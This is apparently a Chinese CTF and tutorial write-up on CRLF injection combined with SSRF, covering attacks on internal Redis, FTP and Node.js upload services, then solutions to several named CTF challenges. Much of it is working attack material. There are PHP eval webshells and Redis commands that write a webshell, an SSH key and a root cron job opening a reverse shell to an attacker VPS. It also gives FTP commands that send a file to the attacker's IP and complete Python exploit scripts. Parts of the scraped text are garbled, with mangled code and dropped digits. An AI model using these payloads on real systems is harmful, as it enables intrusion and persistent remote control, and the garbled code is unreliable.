# 輸出: ĠňŔŔŐįıĮıčĊčĊŐŏœŔĠįŵŰŬůšŤĮŰŨŰĠňŔŔŐįıĮıčĊňůųŴĺĠıIJķĮİĮİĮıčĊŃůŮŴťŮŴĭŌťŮŧŴŨĺĠĴijķčĊŃůŮŴťŮŴĭŔŹŰťĺĠŭŵŬŴũŰšŲŴįŦůŲŭĭŤšŴšĻĠŢůŵŮŤšŲŹĽĭĭĭĭŗťŢŋũŴņůŲŭłůŵŮŤšŲŹŪńŢĹňōŇŔũŸŁŁķŁŭĶčĊŕųťŲĭŁŧťŮŴĺĠōůźũŬŬšįĵĮİĠĨŗũŮŤůŷųĠŎŔĠıİĮİĻĠŗũŮĶĴĻĠŸĶĴĩĠŁŰŰŬťŗťŢŋũŴįĵijķĮijĶĠĨŋňŔōŌĬĠŬũūťĠŇťţūůĩĠŃŨŲůŭťįĹİĮİĮĴĴijİĮķIJĠœšŦšŲũįĵijķĮijĶčĊŁţţťŰŴĺĠŴťŸŴįŨŴŭŬĬšŰŰŬũţšŴũůŮįŸŨŴŭŬīŸŭŬĬšŰŰŬũţšŴũůŮįŸŭŬĻűĽİĮĹĬũŭšŧťįšŶũŦĬũŭšŧťįŷťŢŰĬũŭšŧťįšŰŮŧĬĪįĪĻűĽİĮĸĬšŰŰŬũţšŴũůŮįųũŧŮťŤĭťŸţŨšŮŧťĻŶĽŢijĻűĽİĮĹčĊŁţţťŰŴĭŅŮţůŤũŮŧĺĠŧźũŰĬĠŤťŦŬšŴťčĊŁţţťŰŴĭŌšŮŧŵšŧťĺĠźŨĭŃŎĬźŨĻűĽİĮĹčĊŃůůūũťĺĠŐňŐœŅœœʼnńĽŮūĶķšųŴŶĶıŨűšŮųūūŤŤųŬūŧųŴĴčĊŃůŮŮťţŴũůŮĺĠţŬůųťčĊčĊĭĭĭĭĭĭŗťŢŋũŴņůŲŭłůŵŮŤšŲŹŪńŢĹňōŇŔũŸŁŁķŁŭĶčĊŃůŮŴťŮŴĭńũųŰůųũŴũůŮĺĠŦůŲŭĭŤšŴšĻĠŮšŭťĽĢōŁŘşņʼnŌŅşœʼnŚŅĢčĊčĊıİİİİİčĊĭĭĭĭĭĭŗťŢŋũŴņůŲŭłůŵŮŤšŲŹŪńŢĹňōŇŔũŸŁŁķŁŭĶčĊŃůŮŴťŮŴĭńũųŰůųũŴũůŮĺĠŦůŲŭĭŤšŴšĻĠŮšŭťĽĢŵŰŬůšŤťŤĢĻĠŦũŬťŮšŭťĽĢųŨťŬŬĮŰŨŰĢčĊŃůŮŴťŮŴĭŔŹŰťĺĠšŰŰŬũţšŴũůŮįůţŴťŴĭųŴŲťšŭčĊčĊļĿŰŨŰĠťŶšŬĨĤşŐŏœŔśĢŷŨůšŭũĢŝĩĻĿľčĊĭĭĭĭĭĭŗťŢŋũŴņůŲŭłůŵŮŤšŲŹŪńŢĹňōŇŔũŸŁŁķŁŭĶčĊŃůŮŴťŮŴĭńũųŰůųũŴũůŮĺĠŦůŲŭĭŤšŴšĻĠŮšŭťĽĢŕŰŬůšŤĢčĊčĊŕŰŬůšŤčĊĭĭĭĭĭĭŗťŢŋũŴņůŲŭłůŵŮŤšŲŹŪńŢĹňōŇŔũŸŁŁķŁŭĶĭĭčĊčĊŇŅŔĠįĠňŔŔŐįıĮıčĊŴťųŴĺ
           

構造請求:

> http.get('http://47.101.57.72:4000/ĠňŔŔŐįıĮıčĊčĊŐŏœŔĠįŵŰŬůšŤĮŰŨŰĠňŔŔŐįıĮıčĊňůųŴĺĠıIJķĮİĮİĮıčĊŃůŮŴťŮŴĭŌťŮŧŴŨĺĠĴijķčĊŃůŮŴťŮŴĭŔŹŰťĺĠŭŵŬŴũŰšŲŴįŦůŲŭĭŤšŴšĻĠŢůŵŮŤšŲŹĽĭĭĭĭŗťŢŋũŴņůŲŭłůŵŮŤšŲŹŪńŢĹňōŇŔũŸŁŁķŁŭĶčĊŕųťŲĭŁŧťŮŴĺĠōůźũŬŬšįĵĮİĠĨŗũŮŤůŷųĠŎŔĠıİĮİĻĠŗũŮĶĴĻĠŸĶĴĩĠŁŰŰŬťŗťŢŋũŴįĵijķĮijĶĠĨŋňŔōŌĬĠŬũūťĠŇťţūůĩĠŃŨŲůŭťįĹİĮİĮĴĴijİĮķIJĠœšŦšŲũįĵijķĮijĶčĊŁţţťŰŴĺĠŴťŸŴįŨŴŭŬĬšŰŰŬũţšŴũůŮįŸŨŴŭŬīŸŭŬĬšŰŰŬũţšŴũůŮįŸŭŬĻűĽİĮĹĬũŭšŧťįšŶũŦĬũŭšŧťįŷťŢŰĬũŭšŧťįšŰŮŧĬĪįĪĻűĽİĮĸĬšŰŰŬũţšŴũůŮįųũŧŮťŤĭťŸţŨšŮŧťĻŶĽŢijĻűĽİĮĹčĊŁţţťŰŴĭŅŮţůŤũŮŧĺĠŧźũŰĬĠŤťŦŬšŴťčĊŁţţťŰŴĭŌšŮŧŵšŧťĺĠźŨĭŃŎĬźŨĻűĽİĮĹčĊŃůůūũťĺĠŐňŐœŅœœʼnńĽŮūĶķšųŴŶĶıŨűšŮųūūŤŤųŬūŧųŴĴčĊŃůŮŮťţŴũůŮĺĠţŬůųťčĊčĊĭĭĭĭĭĭŗťŢŋũŴņůŲŭłůŵŮŤšŲŹŪńŢĹňōŇŔũŸŁŁķŁŭĶčĊŃůŮŴťŮŴĭńũųŰůųũŴũůŮĺĠŦůŲŭĭŤšŴšĻĠŮšŭťĽĢōŁŘşņʼnŌŅşœʼnŚŅĢčĊčĊıİİİİİčĊĭĭĭĭĭĭŗťŢŋũŴņůŲŭłůŵŮŤšŲŹŪńŢĹňōŇŔũŸŁŁķŁŭĶčĊŃůŮŴťŮŴĭńũųŰůųũŴũůŮĺĠŦůŲŭĭŤšŴšĻĠŮšŭťĽĢŵŰŬůšŤťŤĢĻĠŦũŬťŮšŭťĽĢųŨťŬŬĮŰŨŰĢčĊŃůŮŴťŮŴĭŔŹŰťĺĠšŰŰŬũţšŴũůŮįůţŴťŴĭųŴŲťšŭčĊčĊļĿŰŨŰĠťŶšŬĨĤşŐŏœŔśĢŷŨůšŭũĢŝĩĻĿľčĊĭĭĭĭĭĭŗťŢŋũŴņůŲŭłůŵŮŤšŲŹŪńŢĹňōŇŔũŸŁŁķŁŭĶčĊŃůŮŴťŮŴĭńũųŰůųũŴũůŮĺĠŦůŲŭĭŤšŴšĻĠŮšŭťĽĢŕŰŬůšŤĢčĊčĊŕŰŬůšŤčĊĭĭĭĭĭĭŗťŢŋũŴņůŲŭłůŵŮŤšŲŹŪńŢĹňōŇŔũŸŁŁķŁŭĶĭĭčĊčĊŇŅŔĠįĠňŔŔŐįıĮıčĊŴťųŴĺ')
           
HTTP響應拆分攻擊(CRLF Injection)

如上圖所示,成功構造出了一個檔案上傳的POST請求,像這樣的POST請求可以被我們用于 SSRF。下面我們分析一下整個攻擊的過程。

原始請求資料如下:

GET / HTTP/1.1
Host: 47.101.57.72:4000
           

當我們插入CRLF資料後,HTTP請求資料變成了:

GET / HTTP/1.1
POST /upload.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 437
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryjDb9HMGTixAA7Am6
......
<?php eval($_POST["whoami"]);?>
------WebKitFormBoundaryjDb9HMGTixAA7Am6
Content-Disposition: form-data; name="Upload"
Upload
------WebKitFormBoundaryjDb9HMGTixAA7Am6--
 HTTP/1.1
Host: 47.101.57.72:4000

           

上次請求包的Host字段和狀态行中的

HTTP/1.1

就單獨出來了,是以我們再構造一個請求把他閉合:

GET / HTTP/1.1
POST /upload.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 437
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryjDb9HMGTixAA7Am6
......
<?php eval($_POST["whoami"]);?>
------WebKitFormBoundaryjDb9HMGTixAA7Am6
Content-Disposition: form-data; name="Upload"
Upload
------WebKitFormBoundaryjDb9HMGTixAA7Am6--
GET / HTTP/1.1
test: HTTP/1.1
Host: 47.101.57.72:4000

           

CRLF + SSRF 攻擊内網應用

在SSRF中我們經常使用 Gopher 協定去攻擊内網應用,比如Redis、MySQL、FTP等。但是當 Gopher 協定被過濾了之後,我們還可以通過HTTP協定并配合CRLF漏洞進行攻擊,達到與 Gopher 協定一樣的效果。

攻擊 Redis

實驗環境:

HTTP響應拆分攻擊(CRLF Injection)

通路目标Web伺服器是一個Flask應用,可以通過傳遞url參數進行 SSRF:

HTTP響應拆分攻擊(CRLF Injection)

經測試,目标主機6379端口上運作有Redis服務且隻能在本地通路,但是目标伺服器過濾了 Gopher 協定,要想攻擊 Redis 的話還需要想别的辦法。

首先讓目标機通路我們的 VPS:

/?url=http://:
           
HTTP響應拆分攻擊(CRLF Injection)

如上圖所示,發現目标Web存在Python-urllib/3.7,該版本的Urllib存在CRLF注入漏洞,是以我們的思路是通過HTTP協定配合CRLF漏洞攻擊Redis。

這裡我們隻示範通過 Redis 寫 Webshell,需要執行的 Redis 指令如下:

flushall
config set dir /var/www/html/
config set dbfilename shell.php
set x '<?php eval($_POST[whoami]);?>'
save
           

然後要做的就是使用 HTTP 協定配合 CRLF 将這些指令構造成 TCP Stream 并通過 SSRF 發送給目标伺服器。

編寫腳本構造 payload:

import urllib.parse
payload = ''' HTTP/1.1
flushall
config set dir /var/www/html/
config set dbfilename shell.php
set x '<?php eval($_POST[whoami]);?>'
save
test: '''
payload = urllib.parse.quote(payload).replace("%0A", "%0D%0A")
payload = "?url=http://127.0.0.1:6379/" + payload
print(payload)
# 輸出: ?url=http://127.0.0.1:6379/%20HTTP/1.1%0D%0A%0D%0Aflushall%0D%0Aconfig%20set%20dir%20/var/www/html/%0D%0Aconfig%20set%20dbfilename%20shell.php%0D%0Aset%20x%20%27%3C%3Fphp%20eval%28%24_POST%5Bwhoami%5D%29%3B%3F%3E%27%0D%0Asave%0D%0Atest%3A%20
           

我們現在自己 VPS 上測試一下:

?url=http://:/%HTTP/%D%A%D%Aflushall%D%Aconfig%set%dir%/var/www/html/%D%Aconfig%set%dbfilename%shell.php%D%Aset%x%%%C%Fphp%eval%%_POST%Bwhoami%D%%B%F%E%%D%Asave%D%Atest%A%
           
HTTP響應拆分攻擊(CRLF Injection)

如上圖所示,成功發送出了 Redis 指令。下面開始正式攻擊:

/?url=http://:/%HTTP/%D%Aflushall%D%Aconfig%set%dir%/var/www/html/%D%Aconfig%set%dbfilename%shell.php%D%Aset%x%%%C%Fphp%eval%%_POST%Bwhoami%D%%B%F%E%%D%Asave%D%Atest%A%
           

執行後,成功通過Redis在目标主機的Web目錄裡面寫入了Webshell:

HTTP響應拆分攻擊(CRLF Injection)

蟻劍連接配接成功:

HTTP響應拆分攻擊(CRLF Injection)

還可以通過 Redis 寫入 SSH 秘鑰和建立計劃任務,相應的 Redis 指令如下。

  • 寫入 SSH 秘鑰:
flushall
set  'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDrCwrA1zAhmjeG6E/45IEs/9a6AWfXb6iwzo+D62y8MOmt+sct27ZxGOcRR95FT6zrfFxqt2h56oLwml/Trxy5sExSQ/cvvLwUTWb3ntJYyh2eGkQnOf2d+ax2CVF8S6hn2Z0asAGnP3P4wCJlyR7BBTaka9QNH/4xsFDCfambjmYzbx9O2fzl8F67jsTq8BVZxy5XvSsoHdCtr7vxqFUd/bWcrZ5F1pEQ8tnEBYsyfMK0NuMnxBdquNVSlyQ/NnHKyWtI/OzzyfvtAGO6vf3dFSJlxwZ0aC15GOwJhjTpTMKq9jrRdGdkIrxLKe+XqQnjxtk4giopiFfRu8winE9scqlIA5Iu/d3O454ZkYDMud7zRkSI17lP5rq3A1f5xZbTRUlxpa3Pcuolg/OOhoA3iKNhJ/JT31TU9E24dGh2Ei8K+PpT92dUnFDcmbEfBBQz7llHUUBxedy44Yl+SOsVHpNqwFcrgsq/WR5BGqnu54vTTdJh0pSrl+tniHEnWWU= [email protected]
'
config set dir /root/.ssh/
config set dbfilename authorized_keys
save
           
  • 建立計劃任務
flushall
set  '\n\n*/1 * * * * bash -i >& /dev/tcp/47.xxx.xxx.72/2333 0>&1\n\n'
config set dir /var/spool/cron/
config set dbfilename root
save
// xxx.xxx為攻擊者vps的IP
           

構造 payload 的方法與寫 Webshell 的方法是一樣的,請自行嘗試。

攻擊 MySQL

目前正在研究。。。。。。

攻擊 FTP

檔案傳輸協定(FTP)使得主機間可以共享檔案。 FTP 使用 TCP 生成一個虛拟連接配接用于控制資訊,然後再生成一個單獨的 TCP 連接配接用于資料傳輸。控制連接配接使用類似 TELNET 協定在主機間交換指令和回複應答。

FTP 指令和應答在客戶和伺服器的控制連接配接上以 NVT ASCII 碼形式傳送,這些指令都是3或4個位元組的大寫ASCII字元,其中一些帶選項參數。這就要求在每行(每個指令或每個應答)結尾都要傳回一個 CRLF,也就是說我們可以通過 CRLF 注入構造 FTP 檔案傳輸控制的 TCP Stream。

并且,FTP 伺服器允許匿名登入,使用者使用特殊的使用者名“anonymous”登陸FTP服務,就能與遠端主機建立連接配接并以匿名身份從遠端主機上拷貝檔案,而不必是該遠端主機的注冊使用者。下面我們匿名嘗試匿名登入一個FTP 伺服器并執行傳輸指令:

HTTP響應拆分攻擊(CRLF Injection)

我們嘗試讀取了一個位于 FTP 伺服器files目錄裡面的flag檔案,以下是整個登入到讀取過程抓到的包:

HTTP響應拆分攻擊(CRLF Injection)

可以清楚地看到整個過程中,FTP 用戶端向 FTP 服務端發送的 FTP 協定指令由于每行指令都是一一個 CRLF 結尾的,是以我們便可以通過 CRLF 注入構造 FTP 檔案傳輸控制的 TCP Stream,進而控制 FTP 伺服器來取得我們想要的檔案。

實驗環境:

HTTP響應拆分攻擊(CRLF Injection)

通路目标Web伺服器是一個Flask應用,可以通過傳遞url參數進行 SSRF。經過掃描端口發現目标主機的 21 端口上存在 FTP 服務,并且允許匿名登入。接下來我們嘗試對這台 FTP 伺服器進行匿名入侵。

這裡我們隻示範通過匿名登入 FTP 伺服器并擷取 files 目錄裡的 flag 檔案的過程,需要執行的 FTP 指令如下:

USER anonymous
PASS 
CWD files
TYPE I
PORT 47,101,57,72,0,2000
RETR flag
           

整個攻擊過程是攻擊者先連接配接到 FTP 伺服器的 21 号端口進行傳輸控制,通過USER指令和PASS指令進行匿名登入後,先使用 CWD 指令進入 files 目錄,然後使用 TYPE 指令指定傳輸模式為 Ascii ,接着使用 PORT 指令切換 FTP 傳輸方式為主動傳輸。FTP 伺服器在收到 PORT 指令後,通過自己的 20 端口連接配接至用戶端用 PORT 指令指定的 VPS 端口(2000)發送資料。最後向 FTP 伺服器發送 RETR 指令将 flag 檔案内容發送到 PORT 指令指定的 VPS 端口上。

然後要做的就是使用 HTTP 協定配合 CRLF 将這些 FTP 指令構造成 TCP Stream 并通過 SSRF 發送給目标伺服器。

編寫腳本構造 payload:

import urllib.parse
payload = ''' HTTP/1.1
USER anonymous
PASS 
CWD files
TYPE I
PORT 47,101,57,72,0,2000
RETR flag
test: '''
payload = urllib.parse.quote(payload).replace("%0A", "%0D%0A")
payload = "?url=http://127.0.0.1:21/" + payload
print(payload)
# 輸出: ?url=http://127.0.0.1:21/%20HTTP/1.1%0D%0A%0D%0AUSER%20anonymous%0D%0APASS%20%0D%0ACWD%20files%0D%0ATYPE%20I%0D%0APORT%2047%2C101%2C57%2C72%2C0%2C2000%0D%0ARETR%20flag%0D%0Atest%3A%20
           

我們現在自己 VPS 上測試一下:

?url=http://:/%HTTP/%D%A%D%AUSER%anonymous%D%APASS%%D%ACWD%files%D%ATYPE%I%D%APORT%%C101%C57%C72%C0%C2000%D%ARETR%flag%D%Atest%A%
           
HTTP響應拆分攻擊(CRLF Injection)

如上圖所示,成功發送出了 FTP 指令。下面開始正式攻擊。首先在自己 VPS 上監聽 2000 端口等待 FTP 伺服器的主動連接配接并用于後續的檔案傳輸:

HTTP響應拆分攻擊(CRLF Injection)

然後執行payload:

?url=http://:/%HTTP/%D%AUSER%anonymous%D%APASS%%D%ACWD%files%D%ATYPE%I%D%APORT%%C101%C57%C72%C0%C2000%D%ARETR%flag%D%Atest%A%
           

不出意外的話 VPS 端口上即可收到 FTP 伺服器傳回的檔案資料。

[2020 祥雲杯]doyouknowssrf

進入題目,給出源碼:

<?php
// ini_set("display_errors", "On");
// error_reporting(E_ALL | E_STRICT);
function safe_url($url,$safe) {
    $parsed = parse_url($url);
    $validate_ip = true;
    if($parsed['port']  && !in_array($parsed['port'],array('80','443'))){
            
<span class="hljs-keyword">echo</span> <span class="hljs-string">"&lt;b&gt;請求錯誤:非正常端口,因安全問題隻允許抓取80,443端口的連結,如有特殊需求請自行修改程式&lt;/b&gt;"</span>.PHP_EOL;

    <span class="hljs-keyword">return</span> <span class="hljs-keyword">false</span>;
}<span class="hljs-keyword">else</span>{
    preg_match(<span class="hljs-string">'/^\d+$/'</span>, $parsed[<span class="hljs-string">'host'</span>]) &amp;&amp; $parsed[<span class="hljs-string">'host'</span>] = long2ip($parsed[<span class="hljs-string">'host'</span>]);
    $long = ip2long($parsed[<span class="hljs-string">'host'</span>]);
    <span class="hljs-keyword">if</span>($long===<span class="hljs-keyword">false</span>){
        $ip = <span class="hljs-keyword">null</span>;
        <span class="hljs-keyword">if</span>($safe){
            @putenv(<span class="hljs-string">'RES_OPTIONS=retrans:1 retry:1 timeout:1 attempts:1'</span>);
            $ip   = gethostbyname($parsed[<span class="hljs-string">'host'</span>]);
            $long = ip2long($ip);
            $long===<span class="hljs-keyword">false</span> &amp;&amp; $ip = <span class="hljs-keyword">null</span>;
            @putenv(<span class="hljs-string">'RES_OPTIONS'</span>);
        }
    }<span class="hljs-keyword">else</span>{
        $ip = $parsed[<span class="hljs-string">'host'</span>];
    }
    $ip &amp;&amp; $validate_ip = filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE);
}

<span class="hljs-keyword">if</span>(!in_array($parsed[<span class="hljs-string">'scheme'</span>],<span class="hljs-keyword">array</span>(<span class="hljs-string">'http'</span>,<span class="hljs-string">'https'</span>)) || !$validate_ip){
    <span class="hljs-keyword">echo</span> <span class="hljs-string">"&lt;b&gt;{$url} 請求錯誤:非正常URL格式,因安全問題隻允許抓取 http:// 或 https:// 開頭的連結或公有IP位址&lt;/b&gt;"</span>.PHP_EOL;
    <span class="hljs-keyword">return</span> <span class="hljs-keyword">false</span>;
}<span class="hljs-keyword">else</span>{
    <span class="hljs-keyword">return</span> $url;
}
           

}

function curl($url){

s a f e = < s p a n c l a s s = " h l j s − k e y w o r d " > f a l s e < / s p a n > ; < s p a n c l a s s = " h l j s − k e y w o r d " > i f < / s p a n > ( s a f e u r l ( safe = <span class="hljs-keyword">false</span>; <span class="hljs-keyword">if</span>(safe_url( safe=<spanclass="hljs−keyword">false</span>;<spanclass="hljs−keyword">if</span>(safeu​rl(url,$safe)) {

c h = c u r l i n i t ( ) ; c u r l s e t o p t ( ch = curl_init(); curl_setopt( ch=curli​nit();curls​etopt(ch, CURLOPT_URL, u r l ) ; c u r l s e t o p t ( url); curl_setopt( url);curls​etopt(ch, CURLOPT_RETURNTRANSFER, );

curl_setopt( c h , C U R L O P T H E A D E R , < s p a n c l a s s = " h l j s − n u m b e r " > 0 < / s p a n > ) ; c u r l s e t o p t ( ch, CURLOPT_HEADER, <span class="hljs-number">0</span>); curl_setopt( ch,CURLOPTH​EADER,<spanclass="hljs−number">0</span>);curls​etopt(ch, CURLOPT_SSL_VERIFYPEER, false);

curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);

c o = c u r l e x e c ( co = curl_exec( co=curle​xec(ch);

curl_close($ch);

echo $co;

}

}

highlight_file(FILE);

curl($_GET[‘url’]);

parse_url()

與curl()函數對url解析的差異造成了SSRF漏洞,則可以打内網。我們看看有沒有flag.php:

/?url=http://@:@www.baidu.com/flag.php
           
HTTP響應拆分攻擊(CRLF Injection)

如上圖所示,成功得到報錯,不存在flag.php,并且說明我們url構造成功,繞過限制并進行了ssrf。

之後變沒有其他思路了,目錄掃描也沒有發現什麼,我們嘗試爆破一下端口,在5000端口處發現存在某種問題或陰謀:

HTTP響應拆分攻擊(CRLF Injection)

如上圖,給出了提示,說這是個套娃,并讓我們再次進行ssrf,我們繼續嘗試:

/?url=http://@:@www.baidu.com/?url=https://baidu.com
           
HTTP響應拆分攻擊(CRLF Injection)

這裡說明一下我的想法:5000端口是flask預設端口,可能目标主機5000端口上存在flask應用,并且這個flask應用也存在ssrf。

我們利用這第二個ssrf打一下6379端口,看看目标主機上是否存在redis:

/?url=http://@:@www.baidu.com/?url=http://:
           
HTTP響應拆分攻擊(CRLF Injection)

如上圖所示,發現redis的報錯 “-ERR wrong number of arguments for ‘get’ command”,說明确實存在redis。

但是同樣的,在第二層ssrf中,gopher協定協定也被禁用了,還是無法直接利用gopher協定攻擊redis。

在這裡,我們可以利用Redis+CRLF+urllib寫shell來攻擊redis。原理就是Python Urllib在去年被爆出過一個CRLF漏洞。CRLF漏洞一定程度上可以代替gopher。

我們在自己vps中設定nc監聽:

nv -lvp 2333
           

然後在url中通路:

/?url=http://@:@www.baidu.com/?url=http://:
           

會發現監聽中得到的User-Agent頭

User-Agent: Python-urllib/3.7

去尋找相關漏洞,這就是這個漏洞的标志了。那我們便可以使用 HTTP 協定配合 CRLF 注入去攻擊 Redis 了。

生成payload:

import urllib.parse
import requests
           

payload = ‘’’ HTTP/1.1

flushall

config set dir /var/www/html/

config set dbfilename shell.php

set x ‘<?php eval($_POST[whoami]);?>’

save

test: ‘’’

payload = urllib.parse.quote(payload).replace("%0A", “%0D%0A”)

payload = “?url=http://127.0.0.1:6379/” + payload

payload = urllib.parse.quote(payload) # 這裡需要URL二次編碼

payload = “?url=http://[email protected]:5000%[email protected]” + payload

print(payload)

# 輸出: ?url=http://[email protected]:5000%[email protected]%3Furl%3Dhttp%3A//127.0.0.1%3A6379/%2520HTTP/1.1%250D%250A%250D%250Aflushall%250D%250Aconfig%2520set%2520dir%2520/var/www/html/%250D%250Aconfig%2520set%2520dbfilename%2520shell.php%250D%250Aset%2520x%2520%2527%253C%253Fphp%2520eval%2528%2524_POST%255Bwhoami%255D%2529%253B%253F%253E%2527%250D%250Asave%250D%250Atest%253A%2520

然後将生成的payload打過去即可在目标主機上生成Webshell。

[GYCTF2020]Node Game

進入題目:

HTTP響應拆分攻擊(CRLF Injection)

“Only admin can use this”進去之後是一個檔案上傳頁面,但是隻有admin才能上傳檔案:

HTTP響應拆分攻擊(CRLF Injection)

“Click here to get the source” 可以檢視源碼:

var express = require('express');
var app = express();
var fs = require('fs');
var path = require('path');
var http = require('http');
var pug = require('pug');
var morgan = require('morgan');    // morgan是express預設的日志中間件
const multer = require('multer');    // Multer是nodejs中處理multipart/form-data資料格式(主要用在上傳功能中)的中間件。該中間件不處理multipart/form-data資料格式以外的任何形式的資料
           

app.use(multer({dest: ‘./dist’}).array(‘file’));

app.use(morgan(‘short’));

app.use("/uploads",express.static(path.join(__dirname, ‘/uploads’)))

app.use("/template",express.static(path.join(__dirname, ‘/template’)))

app.get(’/’, function(req, res) {

var action = req.query.action?req.query.action:“index”;

if( action.includes("/") || action.includes("\") ){ // action中不能含有/或\字元

res.send(“Errrrr, You have been Blocked”);

}

file = path.join(__dirname + ‘/template/’+ action +’.pug’);

var html = pug.renderFile(file); // 渲染pug模闆引擎

res.send(html);

});

app.post(’/file_upload’, function(req, res){

var ip = req.connection.remoteAddress;

var obj = {

msg: ‘’,

}

if (!ip.includes(‘127.0.0.1’)) { // remoteAddress必須是本地IP,是以需要進行ssrf

obj.msg=“only admin’s ip can use it”

res.send(JSON.stringify(obj)); // JSON.stringify() 方法用于将 JavaScript 值轉換為 JSON 字元串。

return

}

fs.readFile(req.files[].path, function(err, data){

if(err){

obj.msg = ‘upload failed’;

res.send(JSON.stringify(obj));

}else{

var file_path = ‘/uploads/’ + req.files[].mimetype +"/";

var file_name = req.files[].originalname

var dir_file = __dirname + file_path + file_name // /uploads/mimetype/filename.ext, 這裡可通過mimetype進行目錄穿越

if(!fs.existsSync(__dirname + file_path)){ // 以同步的方法檢測目錄是否存在

try {

fs.mkdirSync(__dirname + file_path) // 如果目錄不存在則建立目錄

} catch (error) {

obj.msg = “file type error”;

res.send(JSON.stringify(obj));

return

}

}

try {

fs.writeFileSync(dir_file,data) // 将要上傳的檔案寫入檔案到指定的目錄中(實作檔案上傳)

obj = {

msg: ‘upload success’,

filename: file_path + file_name

}

} catch (error) {

obj.msg = ‘upload failed’;

}

res.send(JSON.stringify(obj));

}

})

})

app.get(’/source’, function(req, res) {

res.sendFile(path.join(__dirname + ‘/template/source.txt’));

});

app.get(’/core’, function(req, res) {

var q = req.query.q;

var resp = “”; // 用來接收請求的資料

if (q) {

var url = ‘http://localhost:8081/source?’ + q

console.log(url)

var trigger = blacklist(url);

if (trigger === true) {

res.send("<p>error occurs!</p>");

} else {

try {

http.get(url, function(resp) {

resp.setEncoding(‘utf8’);

resp.on(‘error’, function(err) {

if (err.code === “ECONNRESET”) {

console.log(“Timeout occurs”);

return;

}

});

resp.on(<span class="hljs-string">'data'</span>, <span class="hljs-function"><span class="hljs-keyword">function</span>(<span class="hljs-params">chunk</span>) </span>{
                    <span class="hljs-keyword">try</span> {
                     resps = chunk.toString();
                     res.send(resps);
                    }<span class="hljs-keyword">catch</span> (e) {
                       res.send(e.message);
                    }

                }).on(<span class="hljs-string">'error'</span>, (e) =&gt; {
                     res.send(e.message);});
            });
        } <span class="hljs-keyword">catch</span> (error) {
            <span class="hljs-built_in">console</span>.log(error);
        }
    }
} <span class="hljs-keyword">else</span> {
    res.send(<span class="hljs-string">"search param 'q' missing!"</span>);
}
           

})

function blacklist(url) { // 檢測url中的惡意字元,檢測到的傳回true。可以通過字元串拼接繞過。

var evilwords = [“global”, “process”,“mainModule”,“require”,“root”,“child_process”,“exec”,""","’","!"];

var arrayLen = evilwords.length;

for (var i = ; i < arrayLen; i++) {

const trigger = url.includes(evilwords[i]);

if (trigger === true) {

return true

}

}

}

var server = app.listen(, function() {

var host = server.address().address

var port = server.address().port

console.log(“Example app listening at http://%s:%s”, host, port)

})

大概看一下幾個路由:

  • /:會包含/template目錄下的一個pug模闆檔案并用pub模闆引擎進行渲染
  • /source:回顯源碼
  • /file_upload:限制了隻能由127.0.0.1的ip将檔案上傳到uploads目錄裡面,是以需要進行ssrf。并且我們可以通過控制mimetype進行目錄穿越,進而将檔案上傳到任意目錄。
  • /core:通過q向内網的8081端口傳參,然後擷取資料再傳回外網,并且對url進行黑名單的過濾,但是這裡的黑名單可以直接用字元串拼接繞過。

根據上面幾點,可以大緻判斷是利用SSRF僞造本地ip進行檔案上傳,上傳一個pug模闆檔案(可以搜一下pug檔案的代碼格式https://www.pugjs.cn/language/includes.html)到/template目錄下,這個pug模闆檔案中含有将根目錄裡的flag包含進來的代碼,然後用?action=來包含該檔案,就可讀取到flag。

看到

/core

路由,關鍵代碼在這裡:

if (q) {
        var url = 'http://localhost:8081/source?' + q
        console.log(url)
        var trigger = blacklist(url);
        if (trigger === true) {
            res.send("<p>error occurs!</p>");
        } else {
            try {
                http.get(url, function(resp) {
           

可以傳入一個q參數,然後伺服器去請求,這裡就存在一個SSRF了,可以通過這個點,來進行一個拆分請求,進而可以利用剛剛的檔案上傳點将我們的檔案上傳上去。這就涉及到了前面講的 NodeJS的Unicode編碼造成的CRLF注入問題了。如果對Unicode編碼經過精心的構造,就可以通過拆分請求實作的SSRF攻擊(也就是一種CRLF注入),通過換行讓服務端将我們的第一次請求下面構造的封包内容,當作一次單獨的HTTP請求,而這個構造的請求就是我們的檔案上傳請求了。

接下來抓包并構造請求即可:

HTTP響應拆分攻擊(CRLF Injection)

對抓取到的檔案上傳的資料包進行删除Cookie,并将Host、Origin、Referer等改為本地位址、Content-Type改為

../template

用于目錄穿越(注意Content-Length也需要改成變化後的值),然後編寫以下利用腳本:

import urllib.parse
import requests
           

payload = ‘’’ HTTP/1.1

POST /file_upload HTTP/1.1

Host: 127.0.0.1:8081

Content-Length: 266

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

Origin: http://127.0.0.1:8081

Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryG01qmiZ5h6Ap0QSc

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.72 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9

Referer: http://127.0.0.1:8081/?action=upload

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Connection: close

------WebKitFormBoundaryG01qmiZ5h6Ap0QSc

Content-Disposition: form-data; name=“file”; filename=“shell.pug”

Content-Type: …/template

doctype html

html

head

style

include …/…/…/…/…/…/…/flag.txt

------WebKitFormBoundaryG01qmiZ5h6Ap0QSc–

GET / HTTP/1.1

test:’’’.replace("\n", “\r\n”)

def payload_encode(raw):

ret = u""

for i in raw:

ret += chr(+ord(i))

return ret

payload = payload_encode(payload)

print(payload)

r = requests.get(‘http://b5db3d85-4230-43f3-84d2-de9a952a0451.node3.buuoj.cn/core?q=’ + urllib.parse.quote(payload))

print(r.text)

執行腳本後即可成功進行目錄穿越,将shell.pug檔案上傳到template目錄中,然後通路

/?action=shell

即可得到flag:

HTTP響應拆分攻擊(CRLF Injection)

[2021 MRCTF]Half-Nosqli

HTTP響應拆分攻擊(CRLF Injection)

進入題目,啥也沒有,目錄掃描找到了

/docs

,通路得到一個Swagger UI:

HTTP響應拆分攻擊(CRLF Injection)

有兩個Api接口,一個是

/login

用于登入,另一個是

/home

